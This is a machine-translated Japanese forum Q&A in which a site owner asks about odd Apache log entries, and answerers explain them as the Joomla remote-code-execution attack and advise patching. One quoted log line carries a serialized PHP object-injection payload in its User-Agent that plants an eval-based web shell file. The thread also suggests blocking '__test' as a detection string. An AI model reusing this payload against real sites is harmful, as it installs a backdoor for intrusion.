一部のスクリプト攻撃手法でユーザーエージェントの識別を使用しましたか？

私のサイトのApacheアクセスログエントリは通常、次のようなものです。

207.46.13.174--[31 / Oct / 2016：10：18：55 +0100] "GET / contact HTTP / 1.1" 200 256 "-" "Mozilla / 5.0（compatible; bingbot / 2.0; + http：// www .bing.com / bingbot.htm） "0.607 MISS 10.10.36.125:104 0.607

そこでユーザーエージェントフィールドを見ることができます。しかし、今日は次のように使用されるユーザーエージェントフィールドも見つかりました。

62.210.162.42--[31 / Oct / 2016：11：24：19 +0100] "GET / HTTP / 1.1" 200 399 "-" "} __ test | O：21：" JDatabaseDriverMysqli "：3：{s：2 ： "fc"; O：17： "JSimplepieFactory"：0：{} s：21： "\ 0 \ 0 \ 0disconnectHandlers"; a：1：{i：0; a：2：{i：0; O： 9： "SimplePie"：5：{s：8： "sanitize"; O：20： "JDatabaseDriverMysql"：0：{} s：8： "feed_url"; s：242： "file_put_contents（$ _ SERVER [" DOCUMENT_ROOT " ] .chr（47）。 "sqlconfigbak.php"、 "| = | \ x3C" .chr（63）。 "php \ x24mujj = \ x24_POST ['z']; if（\ x24mujj！= ''）{\ x24xsser = base64_decode（\ x24_POST ['z0']）; @ eval（\ "\\\ x24safedg = \ x24xsser; \"）;} "）; JFactory :: getConfig（）; exit;"; s：19： " cache_name_function "; s：6：" assert "; s：5：" cache "; b：1; s：11：" cache_class "; O：20："JDatabaseDriverMysql "：0：{}} i：1; s：4：" init ";}} s：13：" \ 0 \ 0 \ 0connection "; b：1;}〜Ů" 0.304 BYPASS 10.10.36.125:104 0.304

これは攻撃でしたか？次のログエントリsqlconfigbak.phpは、スクリプトで言及されているファイル（コード200）を正常に取得したようです。ファイルシステムでファイルを見つけることができませんが：

62.210.162.42--[31 / Oct / 2016：11：24：20 +0100] "GET //sqlconfigbak.php HTTP / 1.1" 200 399 "http://www.googlebot.com/bot.html" "Mozilla /5.0（互換性あり; Googlebot / 2.1; + http：//www.google.com/bot.html） "0.244 BYPASS 10.10.36.125:104 0.244

ここで何が起こっていましたか？

これはJoomla 0 Day Attackです。ここにある情報：https : //blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html

__testにもかかわらず、これは脆弱性テストではありません。攻撃です。

Joomlaのインストールが可能な限り最新であることを確認してください。

別のオプションは、.htaccessを使用して一般的な文字列を探すことでこのエクスプロイトを阻止することです。「__ test」は機能し、他の場所にリダイレクトします。

リンクしたIPアドレスはGoogleホスト名に解決されないため、Googleではありません。ユーザーまたはボットが、サイトの脆弱性をスキャンしています。1つ目は、Joomlaの脆弱性を見つけることです。

これらのイベントは、ほとんどのWebサイトで定期的に発生します。ベストプラクティスに従ってWebサイトを強化する必要があります。プロセスは長く、オンラインチュートリアルを見つけてそれに従う必要があります。

他の回答に加えて、この攻撃が明らかに機能したという事実は、古い、安全でないバージョンのPHPを実行していることを示唆していることに注意してください。この攻撃が悪用するバグの修正は2015年9月にリリースされました。更新プロセスを実行し、最新バージョンのPHPを取り込むことを確認してください。また、サーバーが少なくとも1年間更新されていないように見えるため、インターネットに接続されている他の古いプログラムも確認してください。